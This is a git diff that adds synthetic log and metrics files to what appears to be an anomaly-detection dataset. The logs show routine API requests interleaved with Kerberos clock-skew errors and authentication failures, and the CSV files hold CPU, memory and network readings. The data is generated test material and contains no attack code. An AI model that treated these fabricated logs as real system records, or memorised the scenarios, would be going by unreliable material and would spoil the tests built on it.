a/anom_dataset/scenario_16/anom_16_2.log b/anom_dataset/scenario_16/anom_16_2.log new file mode 100644 index 0000000000000000000000000000000000000000..a04b3cf493a425bd7f294d3a591bff6f09024657 --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_2.log @@ -0,0 +1,101 @@ +Jul 18 09:59:48 systemd[1]: Started Session 202 of user service-account. +Jul 18 09:59:53 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 09:59:58 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:00:03 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:00:08 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:00:13 kubelet[3100]: INFO Successfully probed container api-gateway +Jul 18 10:00:18 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:00:23 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:00:28 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:00:33 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:00:38 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:00:43 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:00:43 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:00:48 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:00:53 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:00:58 systemd[1]: Started Session 217 of user service-account. +Jul 18 10:01:03 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:01:08 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:01:13 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:01:18 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:01:23 kubelet[3100]: INFO Successfully probed container api-gateway +Jul 18 10:01:28 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:01:33 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:01:38 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:01:38 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:01:43 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:01:48 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:01:53 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:01:58 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:02:03 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:02:08 systemd[1]: Started Session 232 of user service-account. +Jul 18 10:02:13 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:02:18 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:02:23 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:02:28 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:02:33 kubelet[3100]: INFO Successfully probed container api-gateway +Jul 18 10:02:33 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:02:38 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:02:43 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:02:48 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:02:53 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:02:58 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:03:03 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:03:08 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:03:13 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:03:18 systemd[1]: Started Session 247 of user service-account. +Jul 18 10:03:23 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:03:26 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 18 10:03:28 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:03:28 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:03:33 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:03:38 kubelet[3100]: INFO Successfully probed container api-gateway +Jul 18 10:03:43 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:03:48 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:03:53 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:03:56 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 18 10:03:58 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:04:03 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:04:08 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:04:13 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:04:18 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:04:21 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 18 10:04:23 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:04:23 systemd[1]: Started Session 262 of user service-account. +Jul 18 10:04:28 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:04:33 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:04:38 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:04:42 auth-service[4590]: WARN Kerberos authentication failed: Clock skew too great +Jul 18 10:04:43 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:04:48 kubelet[3100]: INFO Successfully probed container api-gateway +Jul 18 10:04:51 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 18 10:04:53 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:04:58 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:05:03 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:05:08 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:05:13 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:05:16 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 18 10:05:17 auth-service[4590]: WARN Kerberos authentication failed: Clock skew too great +Jul 18 10:05:18 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:05:18 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:05:23 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:05:28 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:05:33 systemd[1]: Started Session 277 of user service-account. +Jul 18 10:05:38 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:05:43 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:05:46 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 18 10:05:48 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:05:53 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:05:57 auth-service[4590]: WARN Kerberos authentication failed: Clock skew too great +Jul 18 10:05:58 kubelet[3100]: INFO Successfully probed container api-gateway +Jul 18 10:06:03 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:06:08 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:06:11 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 18 10:06:13 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:06:13 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:06:18 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:06:23 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:06:28 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:06:32 auth-service[4590]: WARN Kerberos authentication failed: Clock skew too great +Jul 18 10:06:33 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 18 10:06:38 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 diff --git a/anom_dataset/scenario_16/anom_16_3.csv b/anom_dataset/scenario_16/anom_16_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..a193409d46658d0d74a4f3239c70e12c3dd9a6a3 --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-19T10:00:00Z,29.23,43.12,16.53,1.37,0.97 +2025-07-19T10:00:05Z,22.91,47.21,23.96,0.65,1.92 +2025-07-19T10:00:10Z,27.83,46.68,24.41,1.0,1.78 +2025-07-19T10:00:15Z,18.44,47.87,17.5,1.02,1.54 +2025-07-19T10:00:20Z,28.08,47.0,25.4,0.92,1.07 +2025-07-19T10:00:25Z,24.57,48.86,22.63,0.72,0.96 +2025-07-19T10:00:30Z,19.56,47.0,18.89,1.14,1.56 +2025-07-19T10:00:35Z,24.21,44.48,20.43,1.24,1.26 +2025-07-19T10:00:40Z,26.14,46.67,16.28,1.51,1.13 +2025-07-19T10:00:45Z,29.71,47.34,22.44,0.82,1.39 +2025-07-19T10:00:50Z,24.93,47.85,21.12,0.87,1.59 +2025-07-19T10:00:55Z,25.5,40.96,17.67,1.24,1.24 +2025-07-19T10:01:00Z,24.41,43.05,17.86,0.73,1.26 +2025-07-19T10:01:05Z,31.58,40.31,15.75,0.94,1.74 +2025-07-19T10:01:10Z,27.45,44.01,17.4,0.89,1.7 +2025-07-19T10:01:15Z,22.91,47.52,22.24,1.28,0.65 +2025-07-19T10:01:20Z,29.54,43.67,27.41,0.97,1.11 +2025-07-19T10:01:25Z,20.9,45.08,19.09,0.71,0.79 +2025-07-19T10:01:30Z,27.87,43.01,19.48,0.78,0.82 +2025-07-19T10:01:35Z,26.37,44.22,18.94,1.13,1.56 +2025-07-19T10:01:40Z,26.3,46.56,17.2,1.09,1.35 +2025-07-19T10:01:45Z,26.48,45.6,21.25,0.69,1.07 +2025-07-19T10:01:50Z,28.62,45.17,23.2,0.86,1.08 +2025-07-19T10:01:55Z,21.14,47.01,19.73,0.97,1.83 +2025-07-19T10:02:00Z,22.82,45.29,19.07,0.74,1.25 +2025-07-19T10:02:05Z,25.15,43.84,13.64,0.7,0.86 +2025-07-19T10:02:10Z,24.78,45.11,19.85,0.63,1.69 +2025-07-19T10:02:15Z,27.17,45.53,20.38,0.86,0.77 +2025-07-19T10:02:20Z,30.59,48.58,22.13,0.99,1.13 +2025-07-19T10:02:25Z,18.74,44.38,18.76,0.86,1.0 +2025-07-19T10:02:30Z,25.8,47.77,22.22,0.72,1.25 +2025-07-19T10:02:35Z,24.86,46.4,17.18,0.84,1.09 +2025-07-19T10:02:40Z,22.61,46.51,25.49,1.04,1.67 +2025-07-19T10:02:45Z,23.81,44.58,23.82,0.69,0.95 +2025-07-19T10:02:50Z,27.15,44.75,23.5,0.94,0.99 +2025-07-19T10:02:55Z,31.33,42.84,19.11,1.05,1.25 +2025-07-19T10:03:00Z,25.39,42.15,24.77,0.97,1.49 +2025-07-19T10:03:05Z,25.89,45.13,10.83,0.69,1.27 +2025-07-19T10:03:10Z,25.94,41.07,16.41,1.06,0.96 +2025-07-19T10:03:15Z,26.43,44.79,19.17,0.97,1.54 +2025-07-19T10:03:20Z,26.36,46.69,25.54,1.07,0.97 +2025-07-19T10:03:25Z,21.35,41.66,23.33,1.07,1.01 +2025-07-19T10:03:30Z,23.71,43.7,18.7,1.17,1.05 +2025-07-19T10:03:35Z,20.24,44.65,24.84,0.95,1.26 +2025-07-19T10:03:40Z,23.66,45.67,18.05,1.08,1.13 +2025-07-19T10:03:45Z,22.62,40.91,18.2,0.85,1.23 +2025-07-19T10:03:50Z,24.87,46.01,18.96,0.71,1.56 +2025-07-19T10:03:55Z,27.1,48.69,21.5,1.08,1.46 +2025-07-19T10:04:00Z,29.25,44.91,18.81,0.78,1.43 +2025-07-19T10:04:05Z,19.68,49.29,16.88,0.99,1.01 +2025-07-19T10:04:10Z,26.23,45.03,27.76,1.34,1.19 +2025-07-19T10:04:15Z,30.26,43.17,22.58,1.29,1.13 +2025-07-19T10:04:20Z,21.74,43.01,20.06,0.78,1.14 +2025-07-19T10:04:25Z,18.93,44.28,20.99,0.75,1.02 +2025-07-19T10:04:30Z,17.77,46.64,19.42,0.77,1.04 +2025-07-19T10:04:35Z,25.79,46.36,24.83,0.57,1.33 +2025-07-19T10:04:40Z,27.49,46.98,15.22,1.24,1.19 +2025-07-19T10:04:45Z,27.46,44.34,21.46,0.66,0.88 +2025-07-19T10:04:50Z,23.58,44.57,18.9,0.96,1.3 +2025-07-19T10:04:55Z,21.54,44.48,22.67,1.04,1.37 +2025-07-19T10:05:00Z,22.56,42.35,24.88,0.74,1.24 +2025-07-19T10:05:05Z,21.12,45.91,22.4,1.0,1.64 +2025-07-19T10:05:10Z,23.63,44.63,27.6,1.05,1.88 +2025-07-19T10:05:15Z,27.06,46.89,19.16,0.8,0.56 +2025-07-19T10:05:20Z,29.65,43.87,23.98,1.04,1.37 +2025-07-19T10:05:25Z,29.21,44.76,24.77,1.32,1.78 +2025-07-19T10:05:30Z,32.09,45.4,15.89,0.93,0.86 +2025-07-19T10:05:35Z,24.63,47.72,22.05,1.15,1.2 +2025-07-19T10:05:40Z,19.86,47.15,28.38,0.69,1.38 +2025-07-19T10:05:45Z,27.98,42.69,18.17,0.97,1.4 +2025-07-19T10:05:50Z,26.15,42.04,20.58,0.65,0.59 +2025-07-19T10:05:55Z,23.06,46.9,20.92,0.97,1.23 +2025-07-19T10:06:00Z,23.46,43.56,18.06,0.72,1.78 +2025-07-19T10:06:05Z,21.85,48.16,25.91,0.83,1.3 +2025-07-19T10:06:10Z,21.66,46.01,15.59,0.99,0.96 +2025-07-19T10:06:15Z,26.43,45.51,26.23,0.77,1.6 +2025-07-19T10:06:20Z,27.64,45.23,24.6,0.91,0.64 +2025-07-19T10:06:25Z,32.3,43.47,23.26,0.87,0.81 +2025-07-19T10:06:30Z,27.22,43.3,21.68,1.02,0.7 +2025-07-19T10:06:35Z,22.71,42.37,17.97,0.78,1.48 +2025-07-19T10:06:40Z,31.63,47.82,22.18,1.05,0.51 +2025-07-19T10:06:45Z,26.0,45.99,21.68,1.14,0.97 +2025-07-19T10:06:50Z,21.72,45.05,19.73,1.3,1.23 +2025-07-19T10:06:55Z,23.32,45.26,21.88,0.66,1.05 +2025-07-19T10:07:00Z,26.33,45.28,21.6,0.7,1.02 +2025-07-19T10:07:05Z,19.34,41.1,22.44,1.02,0.84 +2025-07-19T10:07:10Z,23.56,41.29,26.17,0.65,0.76 +2025-07-19T10:07:15Z,28.97,44.05,17.02,1.13,1.58 +2025-07-19T10:07:20Z,28.05,45.34,19.37,0.53,1.1 +2025-07-19T10:07:25Z,28.48,44.71,13.04,0.79,1.83 diff --git a/anom_dataset/scenario_16/anom_16_3.log b/anom_dataset/scenario_16/anom_16_3.log new file mode 100644 index 0000000000000000000000000000000000000000..0917aabace706df58ce72fcab6acf55b93f72b1e --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_3.log @@ -0,0 +1,103 @@ +Jul 19 09:59:46 systemd[1]: Started Session 203 of user service-account. +Jul 19 09:59:51 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 09:59:56 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:00:01 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:00:06 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:00:11 kubelet[3100]: INFO Successfully probed container api-gateway +Jul 19 10:00:16 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:00:21 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:00:26 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:00:31 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:00:36 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:00:41 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:00:45 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:00:46 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:00:50 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:00:55 systemd[1]: Started Session 218 of user service-account. +Jul 19 10:01:00 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:01:05 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:01:10 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:01:15 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:01:20 kubelet[3100]: INFO Successfully probed container api-gateway +Jul 19 10:01:25 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:01:30 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:01:35 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:01:40 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:01:45 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:01:45 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:01:50 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:01:55 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:02:00 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:02:05 systemd[1]: Started Session 233 of user service-account. +Jul 19 10:02:10 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:02:15 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:02:20 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:02:25 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:02:30 kubelet[3100]: INFO Successfully probed container api-gateway +Jul 19 10:02:35 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:02:40 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:02:44 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:02:45 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:02:49 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:02:54 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:02:57 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 19 10:02:59 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:03:04 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:03:09 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:03:14 systemd[1]: Started Session 248 of user service-account. +Jul 19 10:03:19 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:03:24 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:03:27 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 19 10:03:29 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:03:34 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:03:39 kubelet[3100]: INFO Successfully probed container api-gateway +Jul 19 10:03:44 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:03:44 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:03:49 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:03:52 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 19 10:03:54 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:03:59 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:04:03 auth-service[4590]: WARN Kerberos authentication failed: Clock skew too great +Jul 19 10:04:04 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:04:09 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:04:14 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:04:19 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:04:22 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 19 10:04:24 systemd[1]: Started Session 263 of user service-account. +Jul 19 10:04:29 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:04:34 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:04:39 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:04:43 auth-service[4590]: WARN Kerberos authentication failed: Clock skew too great +Jul 19 10:04:43 kubelet[3100]: INFO Successfully probed container api-gateway +Jul 19 10:04:44 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:04:46 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 19 10:04:48 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:04:53 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:04:58 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:05:03 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:05:08 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:05:13 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:05:16 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 19 10:05:17 auth-service[4590]: WARN Kerberos authentication failed: Clock skew too great +Jul 19 10:05:18 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:05:23 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:05:28 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:05:33 systemd[1]: Started Session 278 of user service-account. +Jul 19 10:05:38 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:05:41 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 19 10:05:43 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:05:43 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:05:48 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:05:52 auth-service[4590]: WARN Kerberos authentication failed: Clock skew too great +Jul 19 10:05:53 kubelet[3100]: INFO Successfully probed container api-gateway +Jul 19 10:05:58 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:06:03 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:06:08 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:06:11 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 19 10:06:13 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:06:18 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:06:23 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:06:28 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:06:32 auth-service[4590]: WARN Kerberos authentication failed: Clock skew too great +Jul 19 10:06:33 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 19 10:06:38 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 diff --git a/anom_dataset/scenario_16/anom_16_4.csv b/anom_dataset/scenario_16/anom_16_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..f9ebd9fdf90afab55dfbea0a33e671a8d877551a --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-20T10:00:00Z,21.86,49.33,27.62,0.83,1.22 +2025-07-20T10:00:05Z,27.93,42.13,21.05,0.83,1.85 +2025-07-20T10:00:10Z,26.43,43.02,16.54,0.85,1.29 +2025-07-20T10:00:15Z,29.53,42.09,21.11,1.06,1.05 +2025-07-20T10:00:20Z,30.16,43.73,15.6,0.49,1.02 +2025-07-20T10:00:25Z,24.65,43.07,25.71,0.89,1.51 +2025-07-20T10:00:30Z,25.88,43.6,25.08,0.8,1.24 +2025-07-20T10:00:35Z,26.8,39.88,22.61,0.4,1.13 +2025-07-20T10:00:40Z,29.71,42.83,23.91,1.29,1.51 +2025-07-20T10:00:45Z,24.77,44.24,19.71,0.84,1.32 +2025-07-20T10:00:50Z,25.23,41.96,23.64,1.04,1.19 +2025-07-20T10:00:55Z,23.55,42.58,22.55,0.6,1.44 +2025-07-20T10:01:00Z,25.86,43.91,21.66,1.24,0.77 +2025-07-20T10:01:05Z,26.63,41.25,22.95,0.85,1.0 +2025-07-20T10:01:10Z,22.49,40.68,17.47,0.8,1.16 +2025-07-20T10:01:15Z,28.18,42.48,21.28,0.82,1.44 +2025-07-20T10:01:20Z,19.4,44.5,17.33,0.6,1.35 +2025-07-20T10:01:25Z,25.81,42.58,25.09,1.11,1.08 +2025-07-20T10:01:30Z,25.84,45.76,21.74,1.08,1.45 +2025-07-20T10:01:35Z,26.09,40.45,24.34,0.7,0.89 +2025-07-20T10:01:40Z,21.08,44.31,25.17,0.78,1.58 +2025-07-20T10:01:45Z,23.26,45.05,24.58,1.12,1.47 +2025-07-20T10:01:50Z,24.09,45.03,23.22,0.95,1.34 +2025-07-20T10:01:55Z,23.41,43.94,21.39,1.07,1.24 +2025-07-20T10:02:00Z,28.04,43.01,28.12,0.93,1.18 +2025-07-20T10:02:05Z,29.93,44.63,17.06,1.0,1.36 +2025-07-20T10:02:10Z,23.44,45.19,24.04,1.38,1.24 +2025-07-20T10:02:15Z,24.26,44.36,19.64,0.86,1.06 +2025-07-20T10:02:20Z,23.16,44.5,15.02,0.92,0.79 +2025-07-20T10:02:25Z,17.54,41.46,21.41,0.93,1.24 +2025-07-20T10:02:30Z,26.49,42.94,17.0,1.23,1.12 +2025-07-20T10:02:35Z,26.09,42.36,27.16,1.09,1.81 +2025-07-20T10:02:40Z,24.7,46.0,21.34,0.53,1.61 +2025-07-20T10:02:45Z,20.97,42.62,22.52,1.08,1.13 +2025-07-20T10:02:50Z,25.14,42.21,20.08,1.42,1.67 +2025-07-20T10:02:55Z,23.79,44.51,24.04,0.86,1.1 +2025-07-20T10:03:00Z,24.71,45.76,22.38,0.75,1.38 +2025-07-20T10:03:05Z,24.12,43.29,23.1,0.74,1.0 +2025-07-20T10:03:10Z,22.03,41.91,17.89,0.87,0.84 +2025-07-20T10:03:15Z,21.2,43.73,23.0,0.67,1.44 +2025-07-20T10:03:20Z,24.9,42.95,25.49,0.93,1.25 +2025-07-20T10:03:25Z,26.81,42.26,17.94,0.81,1.0 +2025-07-20T10:03:30Z,28.7,43.83,23.35,0.74,1.17 +2025-07-20T10:03:35Z,25.46,43.38,26.92,0.83,0.75 +2025-07-20T10:03:40Z,26.56,46.9,22.18,0.96,1.05 +2025-07-20T10:03:45Z,26.0,42.29,23.07,0.91,1.24 +2025-07-20T10:03:50Z,24.58,46.27,24.18,0.99,0.79 +2025-07-20T10:03:55Z,24.71,42.33,22.37,0.85,1.09 +2025-07-20T10:04:00Z,25.12,43.09,22.03,0.74,0.84 +2025-07-20T10:04:05Z,24.91,46.22,25.36,0.88,1.29 +2025-07-20T10:04:10Z,24.69,47.13,16.16,0.55,1.6 +2025-07-20T10:04:15Z,25.52,42.64,26.28,0.94,1.62 +2025-07-20T10:04:20Z,24.81,44.77,16.78,0.79,1.31 +2025-07-20T10:04:25Z,26.16,41.3,28.82,0.54,1.6 +2025-07-20T10:04:30Z,26.25,41.36,22.59,0.75,1.21 +2025-07-20T10:04:35Z,22.02,46.93,19.74,0.74,0.67 +2025-07-20T10:04:40Z,26.29,43.95,18.64,0.95,1.79 +2025-07-20T10:04:45Z,25.35,46.82,19.46,0.89,1.19 +2025-07-20T10:04:50Z,27.17,43.41,23.55,0.55,1.54 +2025-07-20T10:04:55Z,28.2,43.51,22.61,0.91,1.58 +2025-07-20T10:05:00Z,23.07,44.88,24.95,0.69,0.96 +2025-07-20T10:05:05Z,18.23,43.47,20.36,1.08,1.28 +2025-07-20T10:05:10Z,26.44,46.15,23.76,0.59,1.51 +2025-07-20T10:05:15Z,23.04,43.91,17.55,1.15,0.85 +2025-07-20T10:05:20Z,29.29,41.52,23.84,1.08,0.9 +2025-07-20T10:05:25Z,24.26,43.68,17.0,1.01,0.98 +2025-07-20T10:05:30Z,28.79,45.1,21.82,1.14,1.1 